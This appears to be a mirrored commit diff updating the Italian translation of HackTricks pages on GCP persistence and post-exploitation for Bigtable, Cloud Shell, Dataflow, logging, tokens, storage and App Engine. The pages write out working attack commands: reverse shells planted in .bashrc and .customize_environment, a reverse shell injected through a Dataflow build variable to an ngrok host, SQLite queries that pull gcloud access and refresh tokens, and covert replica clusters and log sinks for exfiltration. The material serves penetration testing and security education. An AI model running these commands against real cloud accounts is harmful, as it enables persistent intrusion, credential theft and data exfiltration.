mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp
This commit is contained in:
@@ -1,4 +1,4 @@
|
||||
# GCP - Bigtable Persistence
|
||||
# GCP - Persistenza Bigtable
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,9 +12,13 @@ Per maggiori informazioni su Bigtable consulta:
|
||||
|
||||
### App Profile dedicato all'attaccante
|
||||
|
||||
**Permissions:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
**Permessi:** `bigtable.appProfiles.create`, `bigtable.appProfiles.update`.
|
||||
|
||||
Crea un app profile che instrada il traffico verso il tuo replica cluster e abilita Data Boost in modo da non dipendere mai da provisioned nodes che i difensori potrebbero notare.
|
||||
Crea un App Profile che instrada il traffico verso il tuo cluster di replica e abilita Data Boost, in modo da non dipendere mai da nodi provisioned che i difensori potrebbero notare.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea App Profile stealth</summary>
|
||||
```bash
|
||||
gcloud bigtable app-profiles create stealth-profile \
|
||||
--instance=<instance-id> --route-any --restrict-to=<attacker-cluster> \
|
||||
@@ -24,29 +28,43 @@ gcloud bigtable app-profiles update stealth-profile \
|
||||
--instance=<instance-id> --data-boost \
|
||||
--data-boost-compute-billing-owner=HOST_PAYS
|
||||
```
|
||||
Finché questo profilo esiste, puoi riconnetterti usando credenziali nuove che fanno riferimento ad esso.
|
||||
</details>
|
||||
|
||||
Finché questo profilo esiste, puoi riconnetterti utilizzando credenziali nuove che fanno riferimento ad esso.
|
||||
|
||||
### Mantieni il tuo cluster di replica
|
||||
|
||||
**Permessi:** `bigtable.clusters.create`, `bigtable.instances.update`, `bigtable.clusters.list`.
|
||||
|
||||
Crea un cluster con il numero minimo di nodi in una regione poco trafficata. Anche se le tue identità client scompaiono, **il cluster conserva una copia completa di ogni tabella** fino a quando i difensori non lo rimuovono esplicitamente.
|
||||
Provisiona un cluster con il numero minimo di nodi in una regione poco trafficata. Anche se le identità client dovessero scomparire, **il cluster conserva una copia completa di ogni tabella** finché i difensori non la rimuovono esplicitamente.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea cluster di replica</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create dark-clone \
|
||||
--instance=<instance-id> --zone=us-west4-b --num-nodes=1
|
||||
```
|
||||
Tienilo d'occhio con `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` così puoi scalare immediatamente quando devi estrarre dati.
|
||||
</details>
|
||||
|
||||
Tieni d'occhio il cluster con `gcloud bigtable clusters describe dark-clone --instance=<instance-id>` così puoi scalare all'istante quando devi estrarre i dati.
|
||||
|
||||
### Blocca la replica dietro il tuo CMEK
|
||||
|
||||
**Permessi:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` on the attacker-owned key.
|
||||
**Permessi:** `bigtable.clusters.create`, `cloudkms.cryptoKeyVersions.useToEncrypt` sulla chiave di proprietà dell'attacker.
|
||||
|
||||
Usa la tua chiave KMS quando avvii uno clone. Senza quella chiave, Google non può ricreare o eseguire il failover del cluster, quindi le blue teams devono coordinarsi con te prima di toccarlo.
|
||||
Porta la tua KMS key quando avvii un clone. Senza quella key, Google non può ricreare o effettuare il failover del cluster, quindi le blue teams devono coordinarsi con te prima di intervenire.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea un cluster protetto da CMEK</summary>
|
||||
```bash
|
||||
gcloud bigtable clusters create cmek-clone \
|
||||
--instance=<instance-id> --zone=us-east4-b --num-nodes=1 \
|
||||
--kms-key=projects/<attacker-proj>/locations/<kms-location>/keyRings/<ring>/cryptoKeys/<key>
|
||||
```
|
||||
Ruota o disabilita la key nel tuo project per brickare istantaneamente la replica (pur permettendoti di riattivarla in seguito).
|
||||
</details>
|
||||
|
||||
Ruota o disabilita la chiave nel tuo progetto per brickare immediatamente la replica (pur permettendoti di riattivarla in seguito).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,56 +1,74 @@
|
||||
# GCP - Cloud Shell Persistence
|
||||
# GCP - Cloud Shell Persistenza
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdoor Persistente
|
||||
### Backdoor persistente
|
||||
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) ti fornisce accesso alla riga di comando alle tue risorse cloud direttamente dal tuo browser senza alcun costo associato.
|
||||
[**Google Cloud Shell**](https://cloud.google.com/shell/) ti fornisce accesso via riga di comando alle tue risorse cloud direttamente dal browser senza alcun costo associato.
|
||||
|
||||
Puoi accedere al Cloud Shell di Google dalla **console web** o eseguendo **`gcloud cloud-shell ssh`**.
|
||||
Puoi accedere a Google Cloud Shell dalla **web console** oppure eseguendo **`gcloud cloud-shell ssh`**.
|
||||
|
||||
Questa console ha alcune capacità interessanti per gli attaccanti:
|
||||
Questa console presenta alcune capacità interessanti per gli attackers:
|
||||
|
||||
1. **Qualsiasi utente Google con accesso a Google Cloud** ha accesso a un'istanza di Cloud Shell completamente autenticata (anche gli Service Accounts, essendo Proprietari dell'organizzazione).
|
||||
2. Tale istanza **mantenere la sua home directory per almeno 120 giorni** se non si verifica alcuna attività.
|
||||
3. Non ci sono **capacità per un'organizzazione di monitorare** l'attività di quell'istanza.
|
||||
1. **Any Google user with access to Google Cloud** ha accesso a un'istanza Cloud Shell completamente autenticata (i Service Accounts possono farlo, anche se sono Owners dell'org).
|
||||
2. Tale istanza **manterrà la sua home directory per almeno 120 giorni** se non avvengono attività.
|
||||
3. Non esistono **meccanismi che permettano a un'organizzazione di monitorare** l'attività di quell'istanza.
|
||||
|
||||
Questo significa fondamentalmente che un attaccante può mettere una backdoor nella home directory dell'utente e finché l'utente si connette al GC Shell almeno ogni 120 giorni, la backdoor sopravvivrà e l'attaccante otterrà una shell ogni volta che viene eseguita semplicemente facendo:
|
||||
Questo significa fondamentalmente che un attacker può mettere una backdoor nella home directory dell'utente e, fintanto che l'utente si connette al GC Shell almeno ogni 120 giorni, la backdoor sopravvivrà e l'attacker otterrà una shell ogni volta che viene eseguita semplicemente facendo:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Add reverse shell to .bashrc</summary>
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
C'è un altro file nella cartella home chiamato **`.customize_environment`** che, se esiste, verrà **eseguito ogni volta** che l'utente accede al **cloud shell** (come nella tecnica precedente). Basta inserire la backdoor precedente o una simile a quella seguente per mantenere la persistenza finché l'utente utilizza "frequentemente" il cloud shell:
|
||||
</details>
|
||||
|
||||
C'è un altro file nella cartella home chiamato **`.customize_environment`** che, se esiste, verrà **eseguito ogni volta** che l'utente accede al **cloud shell** (come nella tecnica precedente). Basta inserire il backdoor precedente o uno come il seguente per mantenere la persistenza finché l'utente usa "frequentemente" il cloud shell:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Create .customize_environment backdoor</summary>
|
||||
```bash
|
||||
#!/bin/sh
|
||||
apt-get install netcat -y
|
||||
nc <LISTENER-ADDR> 443 -e /bin/bash
|
||||
```
|
||||
> [!WARNING]
|
||||
> È importante notare che **la prima volta che viene eseguita un'azione che richiede autenticazione**, appare una finestra di autorizzazione pop-up nel browser dell'utente. Questa finestra deve essere accettata prima che il comando possa essere eseguito. Se appare un pop-up inaspettato, potrebbe suscitare sospetti e potenzialmente compromettere il metodo di persistenza utilizzato.
|
||||
</details>
|
||||
|
||||
Questo è il pop-up dall'esecuzione di `gcloud projects list` dalla cloud shell (come attaccante) visualizzato nella sessione utente del browser:
|
||||
> [!WARNING]
|
||||
> È importante notare che la **prima volta che viene eseguita un'azione che richiede l'autenticazione**, appare una finestra di autorizzazione pop-up nel browser dell'utente. Questa finestra deve essere accettata prima che il comando possa essere eseguito. Se appare una pop-up imprevista, potrebbe destare sospetti e potenzialmente compromettere il metodo di persistence in uso.
|
||||
|
||||
Questa è la pop-up risultante dall'esecuzione di `gcloud projects list` da cloud shell (as attacker) vista nella sessione del browser dell'utente:
|
||||
|
||||
<figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Tuttavia, se l'utente ha utilizzato attivamente la cloudshell, il pop-up non apparirà e puoi **raccogliere i token dell'utente con**:
|
||||
Tuttavia, se l'utente ha utilizzato attivamente il cloudshell, la pop-up non apparirà e puoi **gather tokens of the user with**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni access tokens da Cloud Shell</summary>
|
||||
```bash
|
||||
gcloud auth print-access-token
|
||||
gcloud auth application-default print-access-token
|
||||
```
|
||||
</details>
|
||||
|
||||
#### Come viene stabilita la connessione SSH
|
||||
|
||||
Fondamentalmente, vengono utilizzate queste 3 chiamate API:
|
||||
In pratica vengono usate queste 3 chiamate API:
|
||||
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (ti farà aggiungere la tua chiave pubblica che hai creato localmente)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (ti farà aggiungere la tua public key creata localmente)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (ti farà avviare l'istanza)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (ti dirà l'ip del google cloud shell)
|
||||
- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (ti dirà l'IP del Google Cloud Shell)
|
||||
|
||||
Ma puoi trovare ulteriori informazioni in [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)
|
||||
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
# GCP - Persistenza Dataflow
|
||||
# GCP - Dataflow Persistenza
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
### Persistenza invisibile nel contenitore costruito
|
||||
### Persistenza invisibile nel container costruito
|
||||
|
||||
Seguendo il [**tutorial della documentazione**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) puoi creare un nuovo template flessibile (ad esempio python):
|
||||
Seguendo il [**tutorial dalla documentazione**](https://cloud.google.com/dataflow/docs/guides/templates/using-flex-templates) puoi creare un nuovo (es. python) flex template:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea Dataflow flex template with backdoor</summary>
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudPlatform/python-docs-samples.git
|
||||
cd python-docs-samples/dataflow/flex-templates/getting_started
|
||||
@@ -36,9 +40,15 @@ gcloud dataflow $NAME_TEMPLATE build gs://$REPOSITORY/getting_started-py.json \
|
||||
--env "/bin/bash -c 'bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/13355 0>&1' & #%s" \
|
||||
--region=us-central1
|
||||
```
|
||||
**Mentre viene costruito, otterrai una reverse shell** (puoi abusare delle variabili d'ambiente come nell'esempio precedente o di altri parametri che impostano il file Docker per eseguire cose arbitrarie). In questo momento, all'interno della reverse shell, è possibile **andare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Imposta qui la tua backdoor in modo che ogni volta che il lavoro viene eseguito, verrà eseguita.
|
||||
</details>
|
||||
|
||||
Quindi, la prossima volta che il lavoro viene eseguito, verrà eseguito il container compromesso costruito:
|
||||
**Mentre viene costruito, otterrai una reverse shell** (puoi abusare di env variables come nell'esempio precedente o di altri params che impostano il Docker file per eseguire operazioni arbitrarie). In questo momento, all'interno della reverse shell, è possibile **entrare nella directory `/template` e modificare il codice dello script python principale che verrà eseguito (nel nostro esempio questo è `getting_started.py`)**. Posiziona la tua backdoor qui in modo che ogni volta che il job viene eseguito, la esegua.
|
||||
|
||||
Poi, la volta successiva che il job viene eseguito, verrà avviato il container compromesso appena costruito:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esegui Dataflow template</summary>
|
||||
```bash
|
||||
# Run template
|
||||
gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
@@ -46,4 +56,6 @@ gcloud dataflow $NAME_TEMPLATE run testing \
|
||||
--parameters=output="gs://$REPOSITORY/out" \
|
||||
--region=us-central1
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Logging Persistence
|
||||
# GCP - Persistenza dei log
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Logging
|
||||
## Registrazione
|
||||
|
||||
Trova ulteriori informazioni su Logging in:
|
||||
Trova più informazioni sul logging in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-logging-enum.md
|
||||
@@ -12,8 +12,14 @@ Trova ulteriori informazioni su Logging in:
|
||||
|
||||
### `logging.sinks.create`
|
||||
|
||||
Crea un sink per esfiltrare i log in una destinazione accessibile all'attaccante:
|
||||
Crea uno sink per esfiltrare i log verso una destinazione accessibile a un attaccante:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Crea sink dei log</summary>
|
||||
```bash
|
||||
gcloud logging sinks create <sink-name> <destination> --log-filter="FILTER_CONDITION"
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,51 +1,79 @@
|
||||
# GCP - Persistenza del Token
|
||||
# GCP - Persistenza dei token
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Token Utente Autenticato
|
||||
### Token utente autenticato
|
||||
|
||||
Per ottenere il **token attuale** di un utente puoi eseguire:
|
||||
Per ottenere il **token corrente** di un utente puoi eseguire:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get access token from SQLite database</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
|
||||
```
|
||||
Controlla in questa pagina come **utilizzare direttamente questo token usando gcloud**:
|
||||
</details>
|
||||
|
||||
Controlla in questa pagina come **usare direttamente questo token con gcloud**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#gcp
|
||||
{{#endref}}
|
||||
|
||||
Per ottenere i dettagli per **generare un nuovo token di accesso** esegui:
|
||||
Per ottenere i dettagli per **generare un nuovo access token** esegui:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni il refresh token dal database SQLite</summary>
|
||||
```bash
|
||||
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
|
||||
```
|
||||
È anche possibile trovare i refresh token in **`$HOME/.config/gcloud/application_default_credentials.json`** e in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
</details>
|
||||
|
||||
Per ottenere un nuovo access token aggiornato con il **refresh token**, client ID e client secret eseguire:
|
||||
È anche possibile trovare refresh tokens in **`$HOME/.config/gcloud/application_default_credentials.json`** e in **`$HOME/.config/gcloud/legacy_credentials/*/adc.json`**.
|
||||
|
||||
Per ottenere un nuovo access token rinnovato con il **refresh token**, il client ID e il client secret esegui:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni un nuovo access token usando il refresh token</summary>
|
||||
```bash
|
||||
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
|
||||
```
|
||||
La validità dei token di aggiornamento può essere gestita in **Admin** > **Security** > **Google Cloud session control**, e per impostazione predefinita è impostata su 16h anche se può essere impostata per non scadere:
|
||||
</details>
|
||||
|
||||
La validità dei refresh tokens può essere gestita in **Admin** > **Security** > **Google Cloud session control**, e di default è impostata a 16h anche se può essere impostata su non scadere mai:
|
||||
|
||||
<figure><img src="../../../images/image (11).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Auth flow
|
||||
### Flusso di autenticazione
|
||||
|
||||
Il flusso di autenticazione quando si utilizza qualcosa come `gcloud auth login` aprirà un prompt nel browser e dopo aver accettato tutti gli ambiti, il browser invierà una richiesta come questa alla porta http aperta dallo strumento:
|
||||
Il flusso di autenticazione quando si usa qualcosa come `gcloud auth login` aprirà una finestra nel browser e, dopo aver accettato tutti gli scopes, il browser invierà una richiesta come questa alla porta http aperta dallo strumento:
|
||||
```
|
||||
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
|
||||
```
|
||||
Poi, gcloud utilizzerà lo stato e il codice con un `client_id` hardcoded (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **dati finali del refresh token**.
|
||||
Poi, gcloud userà lo state e il code con un some hardcoded `client_id` (`32555940559.apps.googleusercontent.com`) e **`client_secret`** (`ZmssLNjJy2998hD4CTg2ejr2`) per ottenere i **final refresh token data**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che la comunicazione con localhost avviene in HTTP, quindi è possibile intercettare i dati per ottenere un refresh token, tuttavia questi dati sono validi solo 1 volta, quindi sarebbe inutile, è più facile semplicemente leggere il refresh token dal file.
|
||||
> Nota che la comunicazione con localhost avviene su HTTP, quindi è possibile intercettare i dati per ottenere un refresh token; tuttavia questi dati sono validi solo una volta, quindi sarebbe inutile — è più semplice leggere il refresh token dal file.
|
||||
|
||||
### OAuth Scopes
|
||||
### Ambiti OAuth
|
||||
|
||||
Puoi trovare tutti gli scope di Google in [https://developers.google.com/identity/protocols/oauth2/scopes](https://developers.google.com/identity/protocols/oauth2/scopes) o ottenerli eseguendo:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ottieni tutti gli scope OAuth di Google</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
|
||||
```
|
||||
È possibile vedere quali ambiti l'applicazione che **`gcloud`** utilizza per autenticarsi può supportare con questo script:
|
||||
</details>
|
||||
|
||||
È possibile vedere quali scope l'applicazione che **`gcloud`** usa per autenticarsi può supportare con questo script:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Test degli scope supportati per gcloud</summary>
|
||||
```bash
|
||||
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
|
||||
echo -ne "Testing $scope \r"
|
||||
@@ -55,7 +83,9 @@ echo $scope
|
||||
fi
|
||||
done
|
||||
```
|
||||
Dopo averlo eseguito, è stato verificato che questa app supporta questi ambiti:
|
||||
</details>
|
||||
|
||||
Dopo averla eseguita è stato verificato che questa app supporta questi scopes:
|
||||
```
|
||||
https://www.googleapis.com/auth/appengine.admin
|
||||
https://www.googleapis.com/auth/bigquery
|
||||
@@ -65,22 +95,22 @@ https://www.googleapis.com/auth/devstorage.full_control
|
||||
https://www.googleapis.com/auth/drive
|
||||
https://www.googleapis.com/auth/userinfo.email
|
||||
```
|
||||
è interessante vedere come questa app supporti l'**`drive`** scope, che potrebbe consentire a un utente di escalare da GCP a Workspace se un attaccante riesce a costringere l'utente a generare un token con questo scope.
|
||||
È interessante vedere come questa app supporti lo scope **`drive`**, il quale potrebbe permettere a un utente di escalation da GCP a Workspace se un attacker riesce a costringere l'utente a generare un token con questo scope.
|
||||
|
||||
**Controlla come** [**abusare di questo qui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
**Vedi come** [**abusarne qui**](../gcp-to-workspace-pivoting/index.html#abusing-gcloud)**.**
|
||||
|
||||
### Account di Servizio
|
||||
### Service Accounts
|
||||
|
||||
Proprio come con gli utenti autenticati, se riesci a **compromettere il file della chiave privata** di un account di servizio sarai in grado di **accedervi di solito per tutto il tempo che vuoi**.\
|
||||
Tuttavia, se rubi il **token OAuth** di un account di servizio questo può essere ancora più interessante, perché, anche se per impostazione predefinita questi token sono utili solo per un'ora, se la **vittima elimina la chiave API privata, il token OAuth sarà ancora valido fino alla scadenza**.
|
||||
Proprio come con gli utenti autenticati, se riesci a **compromettere il file della private key** di un service account sarai in grado di **accedere solitamente per tutto il tempo che vuoi**.\
|
||||
Tuttavia, se rubi il **OAuth token** di un service account questo può essere ancora più interessante, perché, anche se di default questi token sono utili solo per un'ora, se la **victim cancella la private api key, l'OAuth token resterà comunque valido fino alla sua scadenza**.
|
||||
|
||||
### Metadati
|
||||
### Metadata
|
||||
|
||||
Ovviamente, finché sei all'interno di una macchina in esecuzione nell'ambiente GCP sarai in grado di **accedere all'account di servizio associato a quella macchina contattando l'endpoint dei metadati** (nota che i token OAuth a cui puoi accedere in questo endpoint sono solitamente limitati da scope).
|
||||
Ovviamente, finché sei all'interno di una macchina che gira nell'ambiente GCP potrai **accedere al service account associato a quella macchina contattando il metadata endpoint** (nota che gli OAuth tokens che puoi ottenere in questo endpoint sono solitamente limitati da scopes).
|
||||
|
||||
### Rimedi
|
||||
### Mitigations
|
||||
|
||||
Alcuni rimedi per queste tecniche sono spiegati in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
Alcune mitigazioni per queste tecniche sono spiegate in [https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2](https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2)
|
||||
|
||||
### Riferimenti
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# GCP - Persistenza dello Storage
|
||||
# GCP - Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
|
||||
Per ulteriori informazioni su Cloud Storage controlla:
|
||||
Per maggiori informazioni su Cloud Storage consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
@@ -12,7 +12,11 @@ Per ulteriori informazioni su Cloud Storage controlla:
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
Puoi creare un HMAC per mantenere la persistenza su un bucket. Per ulteriori informazioni su questa tecnica [**controlla qui**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
Puoi creare un HMAC per mantenere la persistence su un bucket. Per maggiori informazioni su questa tecnica [**consulta qui**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Creare e utilizzare una chiave HMAC per l'accesso a Storage</summary>
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
@@ -23,11 +27,13 @@ gsutil config -a
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
Un altro script di exploit per questo metodo può essere trovato [qui](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
</details>
|
||||
|
||||
### Dare Accesso Pubblico
|
||||
Un altro exploit script per questo metodo può essere trovato [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
**Rendere un bucket accessibile pubblicamente** è un altro modo per mantenere l'accesso al bucket. Controlla come farlo in:
|
||||
### Concedere accesso pubblico
|
||||
|
||||
**Rendere un bucket accessibile pubblicamente** è un altro modo per mantenere l'accesso al bucket. Consulta come farlo in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
|
||||
+14
-8
@@ -4,7 +4,7 @@
|
||||
|
||||
## `App Engine`
|
||||
|
||||
Per informazioni su App Engine controlla:
|
||||
Per informazioni su App Engine consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
@@ -17,25 +17,31 @@ Con questi permessi è possibile:
|
||||
- Aggiungere una chiave
|
||||
- Elencare le chiavi
|
||||
- Ottenere una chiave
|
||||
- Eliminare
|
||||
- Eliminare una chiave
|
||||
|
||||
> [!CAUTION]
|
||||
> Tuttavia, **non sono riuscito a trovare alcun modo per accedere a queste informazioni dalla cli**, solo dalla **console web** dove è necessario conoscere il **Tipo di chiave** e il **Nome della chiave**, o dall'**app engine in esecuzione**.
|
||||
> Tuttavia, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
|
||||
>
|
||||
> Se conosci modi più semplici per utilizzare questi permessi invia una Pull Request!
|
||||
> Se conosci modi più semplici per usare questi permessi invia una Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
Con questo permesso è possibile **vedere i log dell'App**:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Segui i log dell'app</summary>
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
### Leggi il Codice Sorgente
|
||||
</details>
|
||||
|
||||
Il codice sorgente di tutte le versioni e servizi è **memorizzato nel bucket** con il nome **`staging.<proj-id>.appspot.com`**. Se hai accesso in scrittura, puoi leggere il codice sorgente e cercare **vulnerabilità** e **informazioni sensibili**.
|
||||
### Leggi Source Code
|
||||
|
||||
### Modifica il Codice Sorgente
|
||||
Il source code di tutte le versioni e dei servizi è **memorizzato nel bucket** con il nome **`staging.<proj-id>.appspot.com`**. Se hai accesso in scrittura puoi leggere il source code e cercare **vulnerabilities** e **informazioni sensibili**.
|
||||
|
||||
Modifica il codice sorgente per rubare credenziali se vengono inviate o eseguire un attacco di defacement web.
|
||||
### Modifica Source Code
|
||||
|
||||
Modifica il source code per rubare credentials se vengono inviati o per eseguire un defacement web attack.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+100
-40
@@ -4,37 +4,53 @@
|
||||
|
||||
## Bigtable
|
||||
|
||||
Per ulteriori informazioni su Bigtable, vedi:
|
||||
Per maggiori informazioni su Bigtable consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-bigtable-enum.md
|
||||
{{#endref}}
|
||||
|
||||
> [!TIP]
|
||||
> Installa il `cbt` CLI una volta tramite il Cloud SDK in modo che i comandi sottostanti funzionino localmente:
|
||||
> Installa il CLI `cbt` una sola volta tramite il Cloud SDK in modo che i comandi sotto funzionino in locale:
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>Installa cbt CLI</summary>
|
||||
>
|
||||
> ```bash
|
||||
> gcloud components install cbt
|
||||
> ```
|
||||
>
|
||||
> </details>
|
||||
|
||||
### Leggere righe
|
||||
### Lettura delle righe
|
||||
|
||||
**Permessi:** `bigtable.tables.readRows`
|
||||
|
||||
`cbt` è incluso nel Cloud SDK e comunica con le admin/data APIs senza richiedere middleware. Puntalo sul progetto/istanza compromesso ed esporta le righe direttamente dalla tabella. Limita la scansione se vuoi solo dare un'occhiata.
|
||||
`cbt` è incluso nel Cloud SDK e si interfaccia con le admin/data APIs senza necessità di middleware. Puntalo sul progetto/istanza compromessa e scarica le righe direttamente dalla tabella. Limita la scansione se ti serve solo dare un'occhiata.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Leggi record di Bigtable</summary>
|
||||
```bash
|
||||
# Install cbt
|
||||
gcloud components update
|
||||
gcloud components install cbt
|
||||
|
||||
# Read entries with creds of gcloud
|
||||
# Read entries with creds of gcloud
|
||||
cbt -project=<victim-proj> -instance=<instance-id> read <table-id>
|
||||
```
|
||||
</details>
|
||||
|
||||
### Scrivere righe
|
||||
|
||||
**Permessi:** `bigtable.tables.mutateRows`, (avrai bisogno di `bigtable.tables.readRows` per confermare la modifica).
|
||||
|
||||
Usa lo stesso strumento per upsert arbitrary cells. Questo è il modo più veloce per backdoor configs, drop web shells, o plant poisoned dataset rows.
|
||||
Usa lo stesso strumento per upsertare celle arbitrarie. Questo è il modo più rapido per backdoor configs, drop web shells, o plant poisoned dataset rows.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Iniettare riga malevola</summary>
|
||||
```bash
|
||||
# Inject a new row
|
||||
